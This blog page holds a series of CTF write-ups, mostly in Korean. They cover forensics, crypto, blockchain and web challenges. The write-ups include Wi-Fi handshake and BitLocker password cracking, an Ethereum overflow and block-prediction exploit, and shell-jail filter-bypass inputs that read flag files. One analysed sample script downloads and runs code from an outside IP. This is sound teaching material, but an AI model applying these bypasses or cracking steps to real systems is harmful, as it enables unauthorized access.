반응형
반응형
반응형

2021-11-24 01:16 작성 2021-11-28 19:42 공개


아주대 사이버보안학과의 날을 맞아 11월 27일 토요일 12:00 부터 23:59까지 12시간동안 후이즈 & 해머 CTF가 개최되었다.

난 포렌식 5문제와 미스크 한 문제를 출제 및 대회 운영 및 관리를 담당하였다.

 

문제를 제작할 때 항상 참신하고 재밌는 문제를 만들려고는 하는데 쉽지가 않다. 요즘 학교 과제하느라 CTF도 열심히 안하고 포렌식 공부도 거의 안해서 머리 속에 새로운 지식이 없다. 정체된 상황에 올해 대회 문제출제를 두 번 하면서 아이디어가 거의 바닥나 버렸다. 여기서 문제를 더 뽑아내려고 하다보니 문제 퀄리티가 개인적으로 아쉽다.

앞으로도 문제 출제하려면 공부해야겠다..

 

 


Official Write up

원래 출제자 롸업 안썼는데 이번 대회에서는 문제풀이 세미나가 없어서 작성하게 됐다.

문제만들면서 플래그 값 설정하는 것도 하나의 재미라고 느끼는데, 이번에는 그냥 문제명이랑 소금 섞어서 md5 해시값을 플래그 값으로 설정했다. 밀린 과제하면서 문제 만들려다보니 시간을 조금이라도 줄이려..

문제 난이도는 사보 학생들만 참여하고 대회 시간이 12시간으로 짧은 것을 고려하여 전체적으로 쉽지만 다양하게 (스테가노, 멀티미디어, 네트워크, 메모리, 디스크) 출제했다.

 

Forensic

사보의 기묘한 모험 - 436 points, 7 solvers

 

Whois&HaMer.png 이미지 파일 하나가 주어진다.

HxD

해당 파일을 헥스 에디터로 열어서 보면, PNG 푸터 시그니쳐 뒤에 데이터가 존재함을 알 수 있다.

 

binwalk 명령어를 사용하면 PNG + ZIP + PNG 구조로 이루어진 것을 확인할 수 있다.

가운데 ZIP 파일 영역을 따로 추출(헥스에디터로 직접 뽑아내기, Winhex 기능 사용하기,foremost 사용하기, 다양하다)해서 압축을 풀면 flag.7z 파일이 있으며

flag.7z 파일의 압축을 풀면 flag.txt를 얻을 수 있다.

 

 

flag.txt의 내용을 base64 디코딩하면 플래그를 획득할 수 있다.

 

ASCTF{5B75794CE6A122D57EDAABFE80CD09F1}

 

 

 


그날 본 사진의 크기를 우리는 아직 모른다. - 484 points, 4 solvers

 

i_found.png 이미지 파일 하나가 주어진다. 이미지 뷰어로 열어보면 아무것도 보이지 않는다.

왜냐하면 사진 크기가 1 * 1로 설정되어 있기 때문이다.

그런데 사진 크기가 1 * 1 가 정상일리 없다.

tweakpng.exe로 열어보면 IHDR 청크의 CRC값이 올바르지 않다고 한다.

따라서 사진의 크기 값이 강제로 수정되었으며, 올바른 크기값을 찾아야한다는 것을 알 수 있다.

 

IHDR 청크의 구조는 아래와 같다.

https://ryanking13.github.io/2018/03/24/png-structure.html

데이터 무결성을 검증하기 위한 CRC 값이 포함되어 있는데, 주어진 파일의 CRC 값이 정상이라고 가정할 경우 이 CRC 값을 사용해서 brute force로 원본 크기 값을 찾아낼 수 있다.

 

주어진 파일의 IHDR CRC 값은 0x770f8fb2 이다.

 

width 값과 height 값을 0부터 2999까지 브포하는 파이썬 코드 쓱 짜서 돌려주면

 

금방 나온다.

 

나온 값으로 수정해주면

 

플래그를 획득할 수 있다.

 

ASCTF{9B7ECCDFD7DE68131D92660B786B9725}

 

 

 


포렌식 문제에 페이크 플래그밖에 없는 뉴비포렌서로 환생해버렸다 - 472 points, 5 solvers

 

ASCTF.pcap 파일 하나가 주어진다.

 

Wireshark로 열어보면 802.11 패킷들을 확인할 수 있다.

 

패킷을 살펴보면 누군가에 의한 대량의 Deauthentication 패킷이 발생하였고 이후 HonHaiPr_05:b6:c7의 EAPOL 패킷이 캡쳐된 것을 확인할 수 있다. EAPOL 패킷이 캡쳐되었으므로 이후 데이터 패킷들을 복호화할 수 있다.

 

aircrack-ng와 rockyou.txt로 사전 공격을 해주면 패스워드 12356789를 얻을 수 있다.

다시 wireshark로 돌아와서 Edit > Preferences > Protocols > IEEE 802.11

이렇게 키를 추가해주면 된다.

 

복호화된 패킷들에서 http 필털르 걸어주면

flag.zip파일을 다운받은 것을 확인할 수 있는데, flag.zip 파일에서 플래그를 찾을 수 있다.

ASCTF{6746EAC315DADFED3A6CF3F4F8BBE5E2}

 


메모리 덤프입니디만, 문제라도? - 500 points, 1 solvers

 

리눅스 메모리 덤프 문제 처음 만들어보는데 만들 때 삽질 많이 했던 문제다. 어떤 삽질들을 했는지는 스터디에 오시면 들으실 수 있..

리눅스 메모리 포렌식 특성상 문제 풀이보다 환경 구성이 더 오래걸리는 문제다.

 

먼저 mem.lime이 주어진다.

보통 메모리 덤프파일이 주어지면, 프로필을 확인하기 위해 volatility의 imageinfo 플러그인을 사용하려고 하겠지만

절대 나오지 않는다.

 

프로필을 알아내려면 strings와 grep 명령어를 사용해서 알아내야 한다.

우분투 18.04에 커널은 linux version 5.4.0-42-generic임을 알 수 있다.

리눅스는 리눅스 종류에 커널 종류까지 너무 많아서 볼라티리티에서 프로필을 기본적으로 제공하지 않는다. (https://github.com/volatilityfoundation/profiles 극히 일부만 제공한다.)

따라서 직접 동일 버전의 VM을 구축하여 프로필을 생성해야 한다.

http://old-releases.ubuntu.com/releases/18.04.1/

 

Index of /releases/18.04.1

Select an image Ubuntu is distributed on two types of images described below. Desktop image The desktop image allows you to try Ubuntu without changing your computer at all, and at your option to install it permanently later. This type of image is what mos

old-releases.ubuntu.com

우분투 18.04.1로 가상환경을 구축하고

커널 버전을 맞춰준 뒤에

https://github.com/volatilityfoundation/volatility/wiki/Linux 을 참고하여 프로필을 생성하면 된다.

$ apt-get install dwarfdump

$ apt-get install build-essential

$ cd volatility/tools/linux

$ make

$ head module.dwarf (module.dwarf 파일이 생성되었는지 확인)

 

$ sudo zip volatility/volatility/plugins/overlays/linux/Ubuntu1204.zip volatility/tools/linux/module.dwarf /boot/System.map-5.4.0-24-generic

 

vol.py --info에서 프로필에서 확인 가능하면 성공

분석할 준비가 끝났다.

 

linux_bash

linux_bash 플러그인을 사용해보면 터미널에 입력한 내용을 확인할 수 있는데,

asctf라는 파일을 실행한 것을 확인할 수 있으며

 

linux_pslist

pslist로도 pid 2743에서 확인할 수 있다.

 

asctf 파일을 추출하는 방법은 여기서는 두가지가 있는데, linux_dump_map을 사용하는 것과 linux_find_file을 사용하는 것이다.

 

linux_dump_map을 사용하기 위해서 먼저 linux_proc_maps를 통해 start 주소값을 얻어서

linux_dump_map으로 추출할 수 있다.

 

linux_find_file 을 사용하기 위해서는 정확한 파일 경로를 알아야 한다. 윈도우의 filescan이 있었으면 좋겠지만..

 

다시 linux_bash화면으로 돌아가보면, 앞에 cd .. cd home cd mandu를 통해 현재 디렉토리 위치가 /home/mandu/ 임을 확인할 수 있다.

따라서 asctf라는 파일은 /home/mandu/asctf 에 위치함을 알 수 있다.

Inode 값을 획득할 수 있고 이 값을 사용해서 다시 linux_find_file을 사용하면 파일을 추출할 수 있다,

 

이렇게 추출한 asctf파일을 실행해주면 base64 문자열을 획득할 수 있으며 실행결과에 나와있듯이 base64 디코딩 2번 시도해주면 플래그를 얻을 수 있다.

ASCTF{5818F673E8A6EA7BE5524722407090D5_2743}

 

 

헥스에디터로 열어서 ASCTF 검색하면 바로 찾을 수 있다.

('ASCTF{' 랑 flag 검색하는거는 막았지만 ASCTF는 못 막았다..)

문제 다시 만들기엔 시간이 없어서 pid값을 플래그에 추가해서 인증하는 것으로 수정했다.

(플래그를 출력하는 프로세스의 pid를 찾으라는 내용이 문제 풀이 방향에 힌트를 주는 것 같지만.. 언인텐으로 간단히 풀리는 것 보단 낫다.)

 

[대회 종료 후]
예상대로 출력하는 플래그는 많이들  찾으셨지만 pid값은 제대로 찾지 못하셨다.

그런데 문제가 대회 종료 30분 전까지 안풀렸고, 볼라티리티로 잘 안된다는 문의까지 들어와서 
파일 잘 못 올라갔나 하고 식은땀 줄줄 흘리며 체크섬 확인했다. (문제 만들때 삽질을 많이해서 다른 버전의 파일이 올라갔을 가능성이 1%정도 있었다.) 다행히 파일은 풀리는걸로 제대로 올라갔었다. 

아주사보는 후이즈 선배의 꿈을 꾸지 않는다. - 484 points, 4 solvers

 

ad1 파일이 주어지고, 중요 문서 파일이 암호화되었으니 복호화하라는 문제다.

ad1파일은 autopsy같은 프로그램으로 분석해도 되겠지만 나에게 익숙한 ftk imager로 풀이를 작성한다.

바탕화면을 보면 바로 암호화 '당한 것'으로 보이는 .enc 파일을 찾을 수 있다.

반응형

다운로드 폴더에서는 dream.zip파일을 찾을 수 있으며 그 안에는 아주 수상해보이는 ps1파일, bat 파일을 찾을 수 있다.

(롸업 쓰면서 든 생각인데, zip 파일에 암호 걸어서 패스워드를 웹상의 파일 다운로드 경로에 같이 둬서 크롬 방문 기록을 반드시 확인하게 할 걸 그랬다.)

readme.txt

readme에서는 dream_installer.bat를 실행하라고 한다.

 

dream_installer.bat

dream_installer.bat 은 파워쉘로 dream.ps1을 실행한다.

 

dream.ps1

dream.ps1은 http://35.212.225.5/asctf/hello.pyc 를 임시폴더에 다운받아와 실행한다.

 

임시폴더에서 hello.pyc를 찾을 수 있다.

hello.pyc는 uncompyle6로 디컴파일 할 수 있다.

 

간단하다. 단순 xor이다.

important.enc = important.hwp xor key 이므로 바탕화면에서 찾았던 important.enc를 important.hwp로 이름을 바꾼뒤에 hello.pyc를 실행하면 복호화된 important.enc를 얻을 수 있으며 다시 이름을 .hwp로 바꿔서 열어주면 플래그를 획득할 수 있다.

 

ASCTF{E95312D231A4784B78E631FD91468DBB}


Misc & Crypto

사보 스파이 - 493 points, 3 solvers

 

에니그마랑 난수방송 합친 문제

 

책상 1 폴더에서 에니그마 모델명을 확인할 수 있으며 '글자가 적혀있는 종이.pdf'에서 암호문을 얻을 수 있다.

나머지 3개 파일은 의미 없는 파일이다. 패스.

EVZVKSVSLRNARMMAWNUKQTBZQLJRVVSJXEGGVAKEDDBVIWNIIALLZVWGKHDZJCJFJ
VNSZOOSZGZWGFMOQLJSPWARZREXFCJUIOMNZUQWOSEVZQQWSGZOYOZCXMFCOPL
XVJQWCEGRGIMDCCEJNIPPMADJIMDYSYZVNRYRRZHHGYVZHMHAPEHGGMNAQMYUQN
QCTJYJHESOYNJPUONUURFCCWYITLWGCXMPACWHZZWLKWAIYLDMJBHPSGRNTZXUI
WMYXVRIMPRXMQOGRWYWHHENBXQYWUNQTENFLUDLFEMEKVKCNHFWXXPHNYHJV
VBZBOABVPWPGCKOHPGMULSWZOFXFMVPGSPQAAMJBDNESNWLXZEDRVPFMFGYZAM
QJTHZXGUPSWCXCXJTSAIYFLQPQFXBWHIXOLCFFSHHFAXQKOFWAJYBLDAWIDXXSWF
YIXFPEZJTYGWGZRONJYBXDOZILNJBPSIXZIKMLIJJPCRUZYVNGFOSJGDPNVXBMTBMTPN
OCHOURVHNATIFIBCCFITHPWNOAFAPRCCHZWUBBAQRCVZXQLAOLMDTFMUIQZQLVX
FMMYWAJHMZTFXMPFEDJPJJFHODUZJVLARKQJNKAACXUGQKJBLLIGPHDHKDPTSFJXHG
MOLKNWGSQXTPQEJCROINZZLHYPTQATODLRCEXAMCTRQPOGAMRYEZAASWWTXBAT
VVLTGOAUEBQTOQGFDWTPIYGEVZMXUUYTBTGSAZEIWPXYVOOZWMHLJOCBPFAFOPZ
KGTFSDJTZBNSEIEJBCFHNWMHFOLTIPIWJBDWSFFNPCJQPYQHEMNNDAJAFXDVABJNAZ
TRUABHXKCAKVPDWYDTKSMVSBQQPBIDSJXEZVPPXRTCGJHBWVGWYZYCDSZBYPARV
UKLNYXAKXJDWVRAYBFPHOGHMJUABKPUONDKITAZEGHTHXMZPALYIWLHONLUOMQ
QIBWVKYJBKXHGGCLRUYTJGQAMXEIJJPVVKOARQZHXCRJQYYAAXMSOMQEZKXVOJUSH
UFMTWCHAFZUDZJQGUKLRWHGWOEDYGQFHCAIKSSEZZAJDHIUBXEOZKVOCHLZVRCZ
CDHPIFNNBIMVITTMCQOYUCUPBEMVOLFIBUHAAULTILYLRSGHBLLQTBICBOPXHKYFY
AGRXCRFAEICVLVQWVRGYEJNRKVUUQEQUBBAUSFFIXGQBIAEBWOILJXKKKMYDHKDKH
LLANHSUWFPYHSFZRRDWPSUBOIQVXPFLREWRTBVJZQEBOEJZMAMFVSWNKFEOTGTH
MLWZBUWDIYSCMKAIQDXGVJYUUPZDIXVECZJXGOQCHGKFQWOXSOHWWZBDHIVAIFPG
BJIYKPMBDSQOJJIKXLYWBURLFLRLBFPGBXZMDSFALOEVMIRSWAPJKODZDMUJGNVNWV
VTWAGLDNWIXPMBOXGQGIMBVHERICXTWTXWJYZZMQGAPZQLLHXPPIKVNAGPHXAUT
CPSGQNWPVKVJTHZCXOUOBOSDPNEYTOOTWWQKJGUPFPMMGLHHNZWJIEDNUICSYYA
KVHDLCVKZLEUCBMKAFRKJTEJARZQXNGTDJZBSXWKQXHDASUUEZDJZELOFWOTAJTJV
GXCMSONEBZQFHZLJUDDUKBAKRPWXMUUOUDFOYHMMWWWRFQFLKCAEXMDFGORB
TZIBUEJAVQJWXRFXCIMYIMKMNCNUTFSQZDFPYNMGUAJNJMTRXBSNPNHQUSYFMOYB
BWRKXZKSSIXCRZSXLCGCKGQAAIWGWYALFIKTKHRPBIZWEMMAUFIWIVIGMPDUKALG
YWIXY

책상2 폴더에는 5개의 이미지 파일이 있는데 빨간색으로 모자이크된 부분들이 존재한다.

학과 사이트 또는 구글 검색 관련 이미지에서 원본 내용 또는 이미지를 찾아서 가려진 부분을 순서대로 가져오면

2 1 5 => II, I, V

B

CSM

EBS

A-B, C-D 이다.

 

https://www.dcode.fr/enigma-machine-cipher

해당 정보들을 가지고 에니그마 복호화를 하면 된다.

참고로 복호화된 내용은 http://security.ajou.ac.kr/security/intro/intro01.jsp 의 파파고 영어 번역본이다.

 

라디오 방송 폴더에는 mp3 파일이 존재하는데, 들어보면 여러 정수값들을 불러준다.

해당 값 번째에 해당되는 평문의 알파벳들을 뽑아내면 된다. text[불러주는값]

그러면 RETURNTOTHEDEPARTMENTOFSOFTWARE 가 된다.

따라서 플래그는 ASCTF{RETURNTOTHEDEPARTMENTOFSOFTWARE} 이다.

 

반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2022 Write up  (0) 2022.03.13
Codegate 2021 Quals Write Up  (0) 2022.02.28
Killer Queen CTF 2021 write up  (0) 2021.10.31
Digital Overdose 2021 Autumn CTF 2021 Write up  (0) 2021.10.09
DownUnderCTF 2021  (0) 2021.09.25
반응형

Forensics

SHIFT

anyconv.com/ko/png-to-raw-byeonhwangi/

 

PNG RAW 변환: 온라인에서 PNG를 RAW로 변환하십시오

⭐ AnyConv는 5 성급 PNG RAW 변환기입니다 ⭐ 온라인에서 png를 raw로 몇 초 안에 변환하십시오 ✅ 소프트웨어 설치가 필요하지 않습니다 ✅ 무료로 ✅ 완전히 안전합니다. PNG를 RAW로 쉽게 변경할 수

anyconv.com

png to bmp

 

rename .bmp to .data

 

open with GIMP

 

width 5261

 


Doubly Deleted Data


Sandwiched

You can see that there are several pdf files, and you can see that there is a jpg file in between.

 

However, jpg's footer signature can be found far away.

There are parts of the jpg file between the pdf files.

 

The extracted jpg file had a flag.

 


OSINT Part 1

 

search name in twitter


OSINT Part 2

 

google image search

 


Small P Problems

Diffie–Hellman

github.com/DrMMZ/Attack-Diffie-Hellman/blob/master/AttackDH.py

 

DrMMZ/Attack-Diffie-Hellman

Implementation of cryptanalysis of Diffie-Hellman public key protocol in Python - DrMMZ/Attack-Diffie-Hellman

github.com


Beginner

Various Vernacular

quipqiup.com/

 

quipqiup - cryptoquip and cryptogram solver

 

quipqiup.com

반응형

'CTF Write Up' 카테고리의 다른 글

LINE CTF 2021 write up  (0) 2021.03.21
Codefest CTF 2021 Write up  (0) 2021.03.20
vishwaCTF 2021 Write up  (0) 2021.03.15
NahamCon CTF 2021 write up  (0) 2021.03.15
dvCTF 2021 Write up  (2) 2021.03.15
반응형
반응형

'CTF Write Up' 카테고리의 다른 글

Codefest CTF 2021 Write up  (0) 2021.03.20
UTCTF 2021 write up  (0) 2021.03.15
NahamCon CTF 2021 write up  (0) 2021.03.15
dvCTF 2021 Write up  (2) 2021.03.15
BCA CTF 2021 Write up  (0) 2021.03.14
반응형

layers.txt

bin2ascii

oct2ascii

hex2ascii

base64decode

base85decode


Chimera

Open chimera.bin.img using FTK Imager.

 

I found key.docx.

extract it and rename key.docx to key.zip

 

hmm __main__.py ?

zip password key...

but i couldn't find any zip file.

 

so, i opened chimera.bin.img with HxD.exe. Then i searched "flag".

 

flag.png in flag.zip

good

it is in pdf file stream, but i couldn't find any pdf file. so i just carved it.

it says the file is corrupted, but i can get 61% unziped flag.png

 

 

it is half of flag, but we can read flag :)


Glitch in the matrix

 

DQT : en.wikibooks.org/wiki/JPEG_-_Idea_and_Practice/The_header_part#The_Quantization_table_segment_DQT

 

JPEG - Idea and Practice/The header part

The markers[edit] The header part of a JPEG file is divided into segments, and each segment starts with a marker, identifying the segment. Usually a JPEG file contains 7 different markers. A marker is a pair of bytes, the first is 255 and the second is dif

en.wikibooks.org

 

The DQT area is intentionally covered with 0xFF.

To recover DQT area, I copied and pasted the DQT area of other normal jpg files downloaded from the google.

After many attempts, I could read a flag.

 

we_need_bits_lots_of_bits


Net Matroyshka

 

8.pcap

 

7.pcap

 

 

6.pcap

 

copy&paste rsync data and sum data

 

5.pcap

 

follow > udp stream

 

make 4.zip

no footer signature in 5.pcap.

i think i extracted 5.zip wrong because 5.zip said zip file is corrupted.

 

i couldn't extract 5.zip correctly..

 


Tapesplice

BZh91AY&SY is bz2 header signature

 


denouement.png

use zsteg


Résumé

just copy and paste


Charge Tracker

 

dex2jar sourceforge.net/projects/dex2jar/

 

dex2jar

Download dex2jar for free. Tools to work with android .dex and java .class files. Mirrors: * https://bitbucket.org/pxb1988/dex2jar * https://github.com/pxb1988/dex2jar dex2jar contains following compment * dex-reader is designed to read the Dalvik Executab

sourceforge.net

 

open .jar using jd-gui java-decompiler.github.io/

 

Java Decompiler

The “Java Decompiler project” aims to develop tools in order to decompile and analyze Java 5 “byte code” and the later versions. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reco

java-decompiler.github.io

 

part1 is here.

done.


Hashcrack 101

www.tunnelsup.com/hash-analyzer/

 

Hash Analyzer - TunnelsUP

Hash type: Bit length: Base: Example Hash Inputs 5f4dcc3b5aa765d61d8327deb882cf99MD5 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8SHA1 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8SHA256 $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL1

www.tunnelsup.com

1~4 : DES (Unix)

5~9 : md5crypt, MD5 (Unix)

10~13 : sha512crypt $6$, SHA512 (Unix)

 

use hashcat

hashcat.net/wiki/doku.php?id=example_hashes

 

example_hashes [hashcat wiki]

Example hashes If you get a “line length exception” error in hashcat, it is often because the hash mode that you have requested does not match the hash. To verify, you can test your commands against example hashes. Unless otherwise noted, the password

hashcat.net

combination bruteforce attack

dictonary attack

 

반응형

'CTF Write Up' 카테고리의 다른 글

dvCTF 2021 Write up  (2) 2021.03.15
BCA CTF 2021 Write up  (0) 2021.03.14
TRUST CTF 2021 write up  (0) 2021.02.28
Tenable CTF 2021 write up  (0) 2021.02.23
Union CTF 2021 Write up  (0) 2021.02.22
반응형

blockchain

sanity check

remix.ethereum.org/

 

Remix - Ethereum IDE

 

remix.ethereum.org

 

 

code copy&paste

compile

connect metamask rinkeby wallet, load contract address and call welcome func. done.


secure enclave

0x9B0780E30442df1A00C6de19237a43d4404C5237

 

It can store text and return text

I thought constroctor of this contract store the flag in this contract.

When you call set_secret to store some string, transaction occurs.

 

I could find a transaction at etherscan

 


crackme.sol

0xDb2F21c03Efb692b65feE7c4B5D7614531DC45BE

 

"arg3 is a overflow" is a hint in line 6.

uint MaxValue + 1 = 0

so, i can pass line 7 and 11 condition.

 

uint is short for uint256, so maximum value is 2**256-1

arg3 = 115792089237316195423570985008687907853269984665640564039457584007913129639935

arg1 = 20 ^ 0x70 = 100

decrypt(arg2) = "offshift ftw"

 

ah just brute force a-z :)

arg2 = evvixyvj vjm

 

"100","evvixyvj vjm","115792089237316195423570985008687907853269984665640564039457584007913129639935"

 

compile error

To find correct uint array size, brute force all value.

 

if size is over 26 :

if size is equal 26:

got a flag.

 


crypto casino

0x186d5d064545f6211dD1B5286aB2Bc755dfF2F59

Edit code to get ouput value correctly.

To get a flag, need guessing and correct two times.

seed = b37c910f4e0df0efafb35a55489604369808b6de642ff1dbab5062680afaddcd

 

the block.number is the number of the mined block containing the transaction.

 

deploy a contract that returning result of uint(keccak256(abi.encodePacked(seed, block.number+3))) ^ 0x539

get block.number and hash

hash <= block.number <= 7956519 + 3

Then pend transaction that call bet(60284626633715439770582715312106605696128214001910194886489589200393495573074) before #7956522 block mined.


hmm out of gas

 

increase gas price and gas limit.

done.


RICH CLUB

0xC7bEc01281648D3A7F9BB86B811A2de5B1E0cc61

hmm

 

for line 21, swap eth to uniswap app.uniswap.org/#/swap

 

Uniswap Interface

 

app.uniswap.org

600 -> 601

hmm

grant_membership() function에 pubkey를 넘겨주면 encoded flag를 넘겨준다고 한다.
그럼 그걸 decrypt 하면 된다고 하는데

그럼 solidity 코드는 어떻게 수정해서 써먹어야되는거야 :(

crypto

factorize

 

p와 q의 상위 512비트는 base로 동일함.

따라서 sqrt(n)의 상위 512비트와 동일.

hmm

엥 그냥 factorize 돌리면 됐었던 문제였넹

optimizer

별거 없다. simple.

주어진 배열 정렬할 때 이동 횟수 구해서 입력해주면 된다.


pyjail

 

hmm

 


0x414141

go to www.offshift.io/

 

You are being redirected...

 

www.offshift.io

go to github

github.com/offshift-dev

 

offshift-dev - Overview

Cryptographically private offshore storage & DeFi protocol on Ethereum - offshift-dev

github.com

There are two commits in january 2021

 

 

interesting

 

 

click

 

download pyc file.

 

 

decompile pyc using uncompyle6

 

 

decrypt

 

a link!

 

download a smashing.pdf via mega link.

 

 

hmm is it xor?

 

 

correct!

 

 

bitcoin paper..?

 

compare with smashing.pdf and original bitcoin paper pdf.

smashing.pdf is a little bigger.

 

a zip file is here :)

 

 

is locked.

 

dictionary attack

dictionary file i used : rockyou.txt

 

 

i got it

 


file reader

it filters "/flag.txt"

but we can get all .txt files using glob.glob("*.txt").

 


Shjail

 

eval eval py{r..u}hon\\ -m\\ S{h..j}mpleHTTPServer\\;

 

hmm

perl flag.[a-z][a-z][a-z]

web

graphed 2.0

 

there is a input form

 

There is a code send graphql query.

 

gist.github.com/craigbeck/b90915d49fda19d5b2b17ead14dcd6da

 

Introspection query for GraphQL

Introspection query for GraphQL. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

i found a fake flag :(

 

no flag in users

 

no flag in coolnotes

hmm

아 역시 getNote를 사용하는 것이었다.
하나 남은게 getNote였는데, q에 뭐가 들어가는지 몰라서 포기했는데..
쿼리문을 넣어버리는 거였넹.

maze

 

 

./robots.txt

./robots.txt

./sup3r_secr37_@p1

good.

 

 

hmm

 

아 username이 pop_eax가 아니라 XFT였다.

 


hackme

?cmd=help

?cmd=123456

hmm

nl /*
nl *

>cat
* /f*
반응형

'CTF Write Up' 카테고리의 다른 글

TrollCAT CTF write up  (0) 2021.02.07
justCTF 2020 write up  (0) 2021.02.01
ShadowCTF write up  (0) 2021.01.27
starCTF 2021 write-up  (0) 2021.01.18
The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
반응형

*CTF 2021 
Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from random import randint
import os
 
flag = "flag"
N=64
key=randint(0,2**N)
print key
key=bin(key)[2:].rjust(N,'0')
count=0
while True:
    p=0
    q=0
    new_key=''
    zeros=[0]
    for j in range(len(key)):
        if key[j]=='0':
            zeros.append(j)
    p=zeros[randint(0,len(zeros))-1]
    q=zeros[randint(0,len(zeros))-1]
    try:
        mask=int(raw_input("mask:"))
    except:
        exit(0)
    mask=bin(mask)[2:]
    if p>q:
        tmp=q
        q=p
        p=tmp
    cnt=0
    for j in range(0,N):
        if j in range(p,q+1):
            new_key+=str(int(mask[cnt])^int(key[j]))
        else:
            new_key+=key[j]
        cnt+=1
        cnt%=len(mask)
    key=new_key
    try:
        guess=int(raw_input("guess:"))
    except:
        exit(0)
    if guess==int(key,2):
        count+=1
        print 'Nice.'
    else:
        count=0
        print 'Oops.'
    if count>2:
        print flag
 
cs

랜덤 key를 생성하고

generate random key

mask 값을 입력받아 여러번 xor을 해서

xor mask value and key

만들어진 key값을 3번 맞추면 되는데

need guessing key 3 times

 

mask에 0을 넣으면 xor을 몇 번을 하던지 그대로다.

however, when you put 0 in mask, xor calculation is useless.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from random import randint
import os
from flag import flag
N=64
key=randint(0,2**N)
# print key
key=bin(key)[2:].rjust(N,'0')
count=0
while True:
    p=0
    q=0
    new_key=''
    zeros=[0]
    for j in range(len(key)):
        if key[j]=='0':
            zeros.append(j)
    p=zeros[randint(0,len(zeros))-1]
    q=zeros[randint(0,len(zeros))-1]
    try:
        mask=int(raw_input("mask:"))
    except:
        exit(0)
    mask=bin(mask)[2:]
    if p>q:
        tmp=q
        q=p
        p=tmp
    cnt=0
    for j in range(0,N):
        if j in range(p,q+1):
            new_key+=str(int(mask[cnt])^int(key[j]))
        else:
            new_key+=key[j]
        cnt+=1
        cnt%=len(mask)
    key=new_key
    try:
        guess=int(raw_input("guess:"))
    except:
        exit(0)
    if guess==int(key,2):
        count+=1
        print 'Nice.'
    else:
        count=0
        print 'Oops.'
    if count>2:
        print flag
cs

guesskey 문제 잘못냈나보다.

처음 print key가 주석처리되었다.

no print key :p

 

key를 2진법으로 나타냈을 때 0의 개수를 구해서

p와 q를 생성하고

p와 q번째 사이번째 비트는 mask와 xor을 하고

그 외 비트는 그대로 가져온다.

 

mask = 1 로 두고 계속 돌리면

하위 비트 쪽은 1로 되고

0의 개수가 작아지면서 p와 q도 작아지고

그럼 더더욱 하위 비트는 유지되고

 

just put 1 in mask.

뭐 이런 식으로 비트들이 1로 되어간다.

it's gonna be 1s

 

한 150~200번 돌리면

try 150-200 times

값은 두 개중 하나가 된다.

이제 mask = 0 으로 두고 두 개중 하나를 때려박으면 된다.

choice one between 92~ and 18~

 


Misc

\

vhdxfile

encrypted by BitLocker

 

 

bitlocker2john

 

hashcat

 

 

password 12345678

 

 

 

open with tool like ftk imager

extract two pdf files

 

pdfcandy.com/extract-images.html

extract images from pdf files

flag image. done.

반응형

'CTF Write Up' 카테고리의 다른 글

0x41414141 CTF Write up  (0) 2021.01.31
ShadowCTF write up  (0) 2021.01.27
The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
0xL4ugh CTF write up  (0) 2021.01.16
2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
반응형

Find the flag

 

주어진 파일 뒷 부분에 PK 시그니쳐가 붙어있다.

When you open a given png file with HxD, you can see PK signature at the end.

 

zip으로 만들어서 열면 플래그가 나온다.

Rename the file .png to .zip. Then, you can get a flag!

 

 

 

simple_forensic

 

암호가 걸린 zip 파일이 주어진다.

Given zip file has locked.

 

 

브포 돌려서 비번을 찾을 수 있다.

You need to brute-force attack to find password to unlock zip.

The password is 1337.

 

그러면 압축파일(file.zip) 하나랑 txt파일을 하나 열 수 있다.

Then, you can get a file.zip and a txt file.

뭔가 했는데, 모스부호 였다.

In txt file, you can see only K and H. I guessed this is morse code.

 

H -> - , K -> . 으로 하고 돌리면 되는데,

 

페이크 플래그가 나온다. ㅋㅋ;;

However, it was fake flag. :p

 

 

버리고 file.zip을 보자. 암호가 걸려있는 것 처럼 보이지만, 사실은 안 걸려있다.

Send txt file to TRASH CAN. And look at the file.zip

It seems like locked file, but it isn't. You don't need to find a password.

 

비트 조작해주면 된다.

Just change some bits of zip file.

mandu-mandu.tistory.com/143 참고하자

 

SuNiNaTaS [FORENSIC 28번] 풀이

SuNiNaTaS의 28번문제 풀이입니다. [FORENSIC] 암호가 걸린 압축파일이 있다. 근데 문제내용을 보았을 때 "brute force가 필요없다","암호가 있기나 한건가!"를 보면 암호는 없는 것 같다. 근데 비밀번호를

mandu-mandu.tistory.com

 

(처음에 브포를 돌렸기 때문에 이런 풀이가 나올 것 같았음.)

 

 

hxd로 까보면,

이렇게 나오는데, zero-width space steganography가 적용된 것이다.

e2808b, e2808c, e2808d, e2808f

 

zero-width space steganography

 

 

github.com/offdev/zwsp-steg-js

 

offdev/zwsp-steg-js

Zero-Width Space Steganography, encodes/decodes hidden messages as non printable/readable characters. - offdev/zwsp-steg-js

github.com

를 이용하여 플래그를 구할 수 있었다.

I can get a flag using zwsp-steg-js.

 

 

 

 

 

 

 

 

Find Hangul

 

아무런 설명 없이 VM.E01을 던져준다.

No description for this task.... :(

 

you can open the VM.E01 using FTK Imager.

 

유저폴더 살펴보고 휴지통을 살펴보았다.

I looked at the user folder and the Recycle.Bin.

 

뭔가 많다.
페이크파일들로 가득하다;;

 

 

많고많은 폴더와 파일 중에서 훈민정음.docx파일을 찾을 수 있다.

You can find Hunminjeongeum.docx file in many fake files.

 

추출해서 열어보자.

Export and open it.

 

 

하얀글씨로 안 보이도록 하거나, 스크롤을 많이 내리도록 되어 있어서, 색상 맞춰주고 정렬해주면 한 번에 내용을 볼 수 있다.

근데 저기있는 플래그도 페이크플래그다. ㅎㅎ;

But there's no flag. h4c(hangul_choigo) is not a flag. 

 

